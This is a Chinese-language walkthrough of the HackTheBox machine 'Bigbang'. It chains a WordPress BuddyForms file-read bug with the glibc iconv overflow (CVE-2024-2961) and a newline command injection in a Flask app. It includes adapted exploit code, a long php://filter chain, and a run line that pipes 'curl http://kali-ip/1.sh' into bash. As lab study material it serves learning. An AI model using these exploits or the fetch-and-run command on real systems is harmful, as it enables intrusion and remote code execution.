HTB_Bigbang
linux(hard)
总结
user.txt:
CVE_2023-26326(lfi改写一下) + CVE-2024-2961,缓冲区溢出拿docker-shell->php代码读数据库->shawking-shell
root.txt:
端口转发+db文件->developer-shell->app逆向查看源代码->接口构造
这次的机器,对我来讲有难度(QaQ),user部分两个洞利用不成功,导致拿不了shell,CVE-2024-2961部分怎么也触发不了,嘶
参考
wp: 师傅们讨论
复盘wp:
https://4xura.com/ctf/htb/htb-writeup-bigbang/
其它:
https://www.cvedetails.com/cve/CVE-2023-26326/
https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8
https://github.com/ambionics/wrapwrap
https://xz.aliyun.com/news/14127
https://github.com/nollium/CVE-2024-9264
https://blog.kengwang.com.cn/archives/640/
记录
当时我没有发现CVE-2023-26326,但是没利用成功,有师傅分享脚本就先直接用了,复盘记录下
1.对于 CVE-2024-2961部分
先尝试把 Remote类 改改,就是结合上面的lfi,怎么改,也有一个例子:
https://blog.kengwang.com.cn/archives/640/
def__init__(self, url: str) -> None:
self.url = url
self.session = Session()
defsend(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
print(path)
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
}
req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=path)
print(req.text)
return req
#return self.session.post(self.url, data={"file": path})
defdownload(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url="
+ chain_prefix + path
response = self.send(path)
#to json
result = response.json()
print(result)
res1=self.session.get(result['response'])
#print(res1.text)
data = res1.re.search(b"GIF89a(.*)", flags=re.S).group(1)
#print(data)
try:
return base64.decode(data)
except Exception as e:
print(e)
return data
最后调试了下,把check部分注释掉,不然老不通过
defrun(self) -> None:
#self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
后面运行时提示 [x] ELFError Magic number does not match
可能是文件名的权限问题,
defget_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
#LIBC_FILE ="/dev/shm/cnext-libc"
LIBC_FILE = "/home/kali/session7/bigb/cnext-libc"
# PHP's heap
self.info["heap"] = self.heap orself.find_main_heap(regions)
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE )
...
还是同样的错误,
/home/kali/session7/bigb/poc1.py:218in get_symbols_and_addresses │
│ │
│ 215 │ │ │
│ 216 │ │ self.download_file(libc.path, LIBC_FILE ) │
│ 217 │ │ │
│ ❱ 218 │ │ self.info["libc"] = ELF(LIBC_FILE, checksec=False) │
│ 219 │ │ self.info["libc"].address = libc.start │
│ 220 │ │ print(self.info["libc"].address) │
│ 221
......
│
│ 567 │ │ # read like this - its e_ident field is word-size and endian agnostic. │
│ 568 │ │ self.stream.seek(0) │
│ 569 │ │ magic = self.stream.read(4) │
│ ❱ 570 │ │ elf_assert(magic == b'x7fELF', 'Magic number does not match') │
│ 571 │ │ │
│ 572 │ │ ei_class = self.stream.read(1) │
│ 573 │ │ if ei_class == b'x01':
└─$ file cnext-libc
cnext-libc: data
难怪,下载到的不是一个elf文件
from pathlib import Path
...
defdownload_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)
期间报错UnicodeDecodeError:'utf-8' codec can't decode byte 0xae in position 4: invalid start byte
也就是坏字节,我这里是重运行几次脚本解决的,可以自定义编码解码解决(先把url请求的结果basse64编码,之后再解码)
后来发现,Remote.download方法,下载so文件会被识别为图片,是因为没去掉GIF头
└─$ file cnext-libc
cnext-libc: GIF image data, version 89a, 17791 x 17996
└─$ head cnext-libc
GIF89aELF>t@XD@8@@?@@�
▒�
▒�
还是需要正则的,如果是保存了req.text会溢出
└─$ file cnext-libc
cnext-libc: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), statically linked, interpreter *empty*, too large section header offset 1226595105579204608
后面尝试下载为res.content
的,而不是res.text,但是又提示内容不全
123: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 1922072
本地搭建了一个任意文件读取,也用了chain_prefix,但下载下来的二进制文件没什么问题,可能是gif图片转换、多层base64编码解码过程中有些丢失,所以导致通过gif获取到的文件内容?感觉是有限的
后面问了 qui113x 师傅,他说需要补充6个空字节,
所以可能是写入的GIF89a挤占掉了原本的6字节?
...
local_file=Path("/tmp/145")
with local_file.open("wb") as f:
f.write(file_contents[6:]) #也就是res.content
f.write(bytes(6))
再下载一次,之后 file 145
就是正常的了
145: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0, for GNU/Linux 3.2.0, stripped
最终cve缓冲区溢出脚本改动如下:
import urllib
...
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
classRemote:
def__init__(self, url: str) -> None:
self.url = url
self.session = Session()
defsend(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
#print(path)
path=chain_prefix+path
data={
"action":"upload_image_from_url",
"id":"1",
"accepted_files":"image/gif",
"url":urllib.parse.quote_plus(path)
}
#path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" + chain_prefix+path
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
}
req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=path)
print(req.text)
return req
#return self.session.post(self.url, data={"file": path})
defdownload(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
print(path)
path1=path
#path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" + chain_prefix+path
print(f"[+] new path:{path}")
response = self.send(path)
#to json
result = response.json()
#print(result)
res1=self.session.get(result['response'])
#print(f"[+]res1.text:{res1.text}")
data=res1.content
#print(data)
#a=input("you know what")
#data=re.search(b"GIF89a.*", data,flags=re.S).group(0)
data1=data[6:]
return data1
...
#LIBC_FILE = "/home/kali/session7/bigb/cnext-libc"
LIBC_FILE="/tmp/146"
# PHP's heap
self.info["heap"] = self.heap orself.find_main_heap(regions)
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
print(libc.path)
#a=input("zanting,kanyixia!")
#self.download_file(libc.path, LIBC_FILE )
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
print("libc-base:"+hex(libc.start))
def_get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
ifany(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
defdownload_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
#Path(local_path).write(data)
local_file = Path(local_path)
with local_file.open("wb") as f:
f.write(data)
f.write(bytes(6))
...
python poc1.py 'http://blog.bigbang.htb''curl http://kali-ip/1.sh|bash'
所以后面两种方法,用cve脚本,先下再用;
或者直接lfi.py
下载好so文件,cve中再利用之前本地下载好的so文件即可
使用下载好的这个so文件,提示利用失败
[*] Potential heaps: 0x7f560a200040, 0x7f560a000040, 0x7f5608a00040, 0x7f5606400040, 0x7f5605e00040 (using first)
/usr/lib/x86_64-linux-gnu/libc.so.6
0x7f560ce1b000
0
EXPLOIT FAILURE
即使成功了也不弹shell。
后来无奈用的 qui113x 师傅的exp脚本
后面复盘的时候发现就是因为:
应该在Remote类的send方法中对参数进行拼接,且构造要用POST的一般格式,比如
#参数拼接在send()方法中,而不是download()中
path=chain_prefix+path
#参数格式构造如下:
data={
"action":"upload_image_from_url",
"id":"1",
"accepted_files":"image/gif",
"url":urllib.parse.quote_plus(path)
}
req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=data)
#不能是下面这种
path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" + chain_prefix+path
req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=path)
这个 urllib.parse.quote_plus
也是必须的,否则也不成功
2.为什么后面n能触发命令执行呢?
它过滤了一些危险字符如,; & |
,换行也是种绕过方式
在app.py中它是这样的
@app.route('/command', methods=['POST'])
@jwt_required()
defcommand():
command = request.json.get('command', '').lower()
current_username = get_jwt_identity()
# Retrieve the User object corresponding to the username
current_user = User.query.filter_by(username=current_username).first()
ifnot current_user:
return jsonify({'error': 'User not found'}), 404
if command == 'move':
...
elif command == 'send_image':
output_file = request.json.get('output_file')
ifnot output_file:
return jsonify({'error': 'Output file path must be provided'}), 400
if contains_dangerous_chars(output_file):
return jsonify({'error': 'Output file path contains dangerous characters'}), 400
try:
image_data = generate_random_image(output_file)
return send_file(BytesIO(image_data), mimetype='image/png')
except RuntimeError as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': 'Invalid command'}), 400
defgenerate_random_image(output_file):
try:
result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}',
check=True, shell=True, capture_output=True, text=True)
print(f"STDOUT: {result.stdout}") # Log the standard output
print(f"STDERR: {result.stderr}") # Log the standard error
except subprocess.CalledProcessError as e:
print(f"Error executing image-tool: {e.stderr}")
raise RuntimeError(f'Error generating image: {e.stderr}')
try:
withopen(output_file, 'rb') as file:
return file.read()
except Exception as e:
raise RuntimeError(f'Error reading image file: {str(e)}')
直接进行了拼接,所以有换行就被视为了两个命令
result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}' ...
原文始发于微信公众号(羽泪云小栈):HTB_Bigbang(思路)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论